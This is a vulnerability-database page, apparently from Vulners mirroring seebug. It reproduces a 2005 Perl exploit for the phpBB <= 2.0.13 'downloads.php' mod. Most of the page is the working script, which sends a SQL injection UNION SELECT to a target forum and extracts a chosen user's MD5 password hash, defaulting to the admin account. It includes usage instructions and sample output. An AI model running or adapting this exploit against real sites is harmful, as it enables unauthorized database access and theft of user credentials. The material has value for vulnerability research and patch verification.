Lucene search
K

phpBB <= 2.0.13 'downloads.php' mod Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

phpBB downloads.php mod Remote Exploi

Code

                                                #!/usr/bin/perl -w
use IO::Socket;

##    Example:
##    C:\&#62;phpbb.pl www.site.com /phpBB2/ 2
##
##     downloads.php mod in phpBB &#60;= 2.0.13
##     **********************************
##      [~] Connecting...
##      [+] Connected!
##      [~] Sending Data...
##      [~] Data Sent, Waiting for response...
##      [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV &#60; 3)
{
print &#34;\n\n&#34;;
print &#34;|****************************************************************|\n&#34;;
print &#34; phpBB &#60;=2.0.13 &#39;downloads.php&#39; Mod\n&#34;;
print &#34; Bug found by Axl And CereBrums\n&#34;;
print &#34; Coded by CereBrums // 2/4/2005\n&#34;;
print &#34; Usage: phpbb.pl &#60;site&#62; &#60;folder&#62; &#60;user_id&#62;\n&#34;;
print &#34; e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n&#34;;
print &#34; [~] &#60;server&#62; - site address\n&#34;;
print &#34; [~] &#60;folder&#62; - forum folder\n&#34;;
print &#34; [~] &#60;user_id&#62; - user id (2 default for phpBB admin)\n&#34;;
print &#34;|****************************************************************|\n&#34;;
print &#34;\n\n&#34;;
exit(1);
}

$take = 0;
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print &#34;\n downloads.php mod in phpBB &#60;= 2.0.13\n&#34;;
print &#34; **********************************\n&#34;;
print &#34;  [~] Connecting...\n&#34;;
$socket = IO::Socket::INET-&#62;new(
Proto =&#62; &#34;tcp&#34;,
PeerAddr =&#62; &#34;$server&#34;,
PeerPort =&#62; &#34;80&#34;) || die &#34;$socket error $!&#34;;

print &#34;  [+] Connected\n&#34;;
print &#34;  [~] Sending Data...\n&#34;;

$path = &#34;http://$server/&#34;;
$path .= &#34;/$folder/&#34;;
$path .= &#34;downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=$user_id/*&#34;;
print $socket &#34;GET $path HTTP/1.0\r\n\r\n&#34;;

print &#34;  [~] Data Sent, Waiting for response...\n&#34;;

while ($answer = &#60;$socket&#62;)
{
       if ($take == 1) {
               $pass = substr($answer,51,32);
               print &#34;  [+] MD5 Hash for user with id=$user_id is: $pass\n&#34;;
               $success = 1;
               $take = 0;
       }
       $found = rindex ($answer,&#34;downloads.php?view=detail&id=0&cat=0&#34;);
       if ( $found &#62; -1 ) {
               $take = 1;
       }
}
if ($success==0) {print &#34;  [-] Exploit failed\n&#34;;}

## EOF ##

# milw0rm.com [2005-04-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20